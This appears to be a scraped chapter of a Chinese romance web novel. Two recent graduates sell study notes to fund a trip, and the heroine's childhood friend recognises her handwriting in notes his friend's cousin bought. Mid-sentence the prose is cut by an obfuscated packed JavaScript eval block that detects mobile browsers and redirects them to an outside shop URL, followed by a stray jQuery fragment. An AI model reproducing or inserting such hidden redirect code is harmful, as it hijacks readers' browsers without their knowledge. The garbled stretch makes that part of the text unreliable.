平淡的日子悄无声息地过去几天,很快来到了七月中下旬。
在这期间,蒋乐桃时刻留意着G大官网里宣布的志愿查询时间,开放权限之后立刻查了结果,在看到上面的“已录取”三个字后,开心得不得了。
结果刚出来的时候,她还很忐忑,担心谢栩年会来问她。因为全国各高校的公布录取信息几乎是同时段发布的,但庆幸的是,谢栩年拢共只问了她一句:【被录取了吗?】
蒋乐桃回的也简短:【录取了。】
她以为谢栩年还会问,但他却只回了一个“嗯”,再没说别的了。
没问她被录取的专业,也没要求看她的录取信息截图。
蒋乐桃的心高高举起,轻轻放下,对这样的发展感到不可思议——她本以为,到这时候,她就该瞒不下去了的。
谢栩年向来敏锐多智,什么都瞒不过他的眼睛,但在确认蒋乐桃的志愿这件事情上,似乎格外迟钝放松。
是太相信她了吗?
不过总归算是意外之喜,蒋乐桃刻意让自己不再多想,也不敢多想,有些掩耳盗铃意思的兀自放下了心。
之后没多久,方可也给她发来了她被志愿学校录取的消息,二人兴奋地在微信上聊起天。
方可:【太好了,我们都可以去上大学啦!】
蒋乐桃弯着眼睛回:【是啊,好开心。】
方可:【唯一可惜的就是开学后我俩就要见不着了,呜呜。】
蒋乐桃想到这个也有些难过,不过到底没有办法改变什么,所以她慢腾腾打字,想要安慰她。
但她忘了,方可是个乐天派,伤心从不会超过三分钟,没等蒋乐桃回复,她就自己先安慰好了自己:【不过没事的,我们可以天天打视频!】
蒋乐桃笑起来:【对。】
两个人互相约定了一番以后就算不在一起了,也不能忘了彼此,要时刻保持联系,放假回来后也得常见面。
蒋乐桃统统应下。
方可:【对了!】
方可:【要不等我们收到通知书之后,一起出去玩一趟吧!】
蒋乐桃:【啊?】
方可却很激动,已经兴冲冲地规划起来:【基本上收到通知书之后,我们很快就会开学了。不如我们直接提前几天离开,玩上几天,然后开学直接去学校了!】
这个想法挺好的,蒋乐桃有些心动。
不只是因为她想和方可出去玩,还因为这样,她或许就可以再多瞒谢栩年几天。等谢栩年知道她没有报H大的时候,自己早已经到了G市,他对她就彻底没办法了。
但是……
蒋乐桃退出聊天界面,又去零钱里看了下自己的余额,只有两千来块钱,是每次蒋青容给了她零花钱之后,她都节省着不花才有的唯一一点积蓄。
而且,她还想靠这些钱做自己上大学后第一个月的生活费呢。
越想越觉得为难,蒋乐桃犹豫了好久,还是把情况跟方可说了:【我没有那么多钱。】
方可很快回:【我也没有啊。我们可以穷游,而且现在不是还有时间,我们可以挣啊!】
蒋乐桃好奇:【怎么挣?】
方可很快回过来三个字:【卖笔记!】
说干就干,蒋乐桃回家后就把自己高考前的笔记找了出来,再分科别类的重新整理一遍,用软件扫成电子版,发给了方可。
方可有人脉、有门路,更有话术。她本来就有几个玩得好的学弟学妹,直接线下联系上他们拜托宣传。
接着,她又通过在几个社交传媒软件上发视频、发种草笔记,再配上几个夸张的标题,什么“半年时间从400分到658分,我都做了什么”或者“高考658分,没有这些东西我根本做不到”等等,很快就有人来问了。
除此之外,蒋乐桃也开始留意别的兼职赚钱法子,她文字功底好,开始在网上帮人写文案,十块五块的慢慢也有了进项。
看着微信零钱里逐渐涨起来的数字,蒋乐桃心里踏实起来。
又一个正午,头顶的阳光热辣辣的炙烤大地,要是在太阳底下打一个生鸡蛋试试,没几分钟,鸡蛋就能开始凝固。
这天气实在太热,陆忱礼从小卖铺里拿了两罐冰镇可乐,然后走到外面的遮阳伞下,朝对面的人扔过去一瓶。
“接着。”
谢栩年应声抬手,下一秒,在半空中稳稳抓住。
单手一勾,随着“噗呲”一声,可乐罐被打开,向外冒出阵阵凉气。
“这天儿可真热。”
陆忱礼走到谢栩年身旁,单腿抬起踩在台阶上,仰头猛灌了一口可乐。
谢栩年是不易出汗的体质,但此刻也显出几分不耐和燥热。
“再练一会儿。”他说,“晚点直接撤。”
暑假很长,谢栩年和陆忱礼约着报了驾校,两个人这几天一起练车,过几天就要考科三了。
陆忱礼“嗯”一声。
驾校里三个人分配一辆车,一个人练的时候另外两个只能等着。谢栩年和陆忱礼刚各自练完一圈,有点渴了,就从车里下来买水喝。
和他们一起的是个四十多岁快五十的大婶,大婶和两个年轻男孩子一起练挺紧张,总容易操作失误,练的熟练度也没陆忱礼和谢栩年高。
两个男生下来之后想着干脆晚点上去,让大婶多练两圈。
谢栩年坐在驾校小卖铺门口的长椅上,只喝了两口可乐就不再喝,低头看起手机。
他最近找蒋乐桃少了,两个人只能微信联系,但半天下去,对面一条消息也没给他发。
天气本就让人不爽,此刻看着微信置顶空空如也的界面,谢栩年唇线抿直,咔嚓一下将手机熄了屏。
陆忱礼余光瞥见他的动作,挑眉:“怎么,一上午没见,你的小青梅一条消息也没给你发啊?”
谢栩年掀眸不爽地看他,薄唇微启:”滚。”
陆忱礼哈哈笑起来:“又不是我没回你消息,你可别找我撒气。”
谢栩年扭过头,懒得看他。
被这样对待,陆忱礼也不恼,乐乐呵呵地在他一旁坐下,也开始翻看起手机。
一开机,微信上顿时有不少消
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196338|197132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息弹出,陆忱礼坏心思又上来,故意在谢栩年面前“啧”了一声:“怎么这么多消息,还得一个一个回,真是麻烦。”
谢栩年:“……”
面无表情地盯着他看。
陆忱礼咧嘴一笑,拍了拍他的肩,开始讨饶:“好了,我不说了,真不说了。”
然后真的住了嘴,谢栩年也缓缓收回视线。
但他还没安静上一会儿,突然又“哎?”的一声,开始胳膊肘猛捶谢栩年小臂。
谢栩年彻底烦了,不耐看他:“抽什么风?”
陆忱礼好脾气地没计较他的态度,把手机递到他面前:“老谢,快看,这字迹是不是你家那位的啊?”
谢栩年微顿,从他手里拿过手机。
屏幕上是陆忱礼和他堂妹陆语丹的聊天界面。
陆语丹今年高二升高三,经同学介绍从别人那里买了份今年刚高考完的高分学姐的电子版笔记资料。
买完之后才发现这个学姐和陆忱礼是一个学校的,于是她特意把卖家的微信名片给陆忱礼发了过来向他打听,问他认不认识,想确认一下这个学姐是不是真的考了高分,笔记是不是真的有含金量。
她发来的微信名片陆忱礼点开看过了,空白昵称无个签,朋友圈里一条动态也没有,就连背景图片也是默认的,像是个掩人耳目用的小号。
陆忱礼没见过这个微信,干脆利落的告诉陆语丹他不认识,但紧接着,陆语丹又给她发来几张买来笔记截图的图片,让他再次辨认。
陆忱礼有一瞬的无语,问她是不是在异想天开,发过来几页带字的纸就想让他认人。不过话说归说,他还是打开那图片随意看了两眼。
这个女生的字不算特别好看,但看着非常顺眼舒适,字迹圆润饱满,钩横折的笔画都透着软钝的感觉。只看这字,就能想象出字的主人的性格该是怎样温和柔软。
陆忱礼自己写的一手好字,向来眼光高,但这会儿看着这字也没忍住夸了两句,最关键的,这字给他一种莫名的熟悉感。
他凝神想了两秒,猛地灵光一现,于是便有了刚才的一幕。
谢栩年最熟悉蒋乐桃不过,打开图片的第一秒就认出了那个字迹——毕竟在两个人刚上小学的很长一段时间里,蒋乐桃的作业大部分都是和他一起做的。而在上高中后,谢栩年也曾检查辅导她的课业。
见谢栩年盯着半天没说话,陆忱礼心里便有了把握,有些惊讶:“还真是啊。”
“她怎么开始卖笔记了?听陆语丹说,这一份笔记可不算便宜。老谢,你的小青梅好像挺缺钱啊。”
谢栩年沉着眸,半晌没应声。
良久,直到陆忱礼以为谢栩年不会再说话时,他才突然开口:“你妹是通过谁买的?微信推给我。”
陆忱礼微挑眉头:“你要干嘛?”
谢栩年站起身,仰头将剩下的最后一点可乐一气喝完,然后眼眸微凝,瞄准在他对面坐立的垃圾桶。
随着“砰”一声易拉罐精准落入桶内的声音,两个清凌利落的字也紧跟着落地。
“送钱。”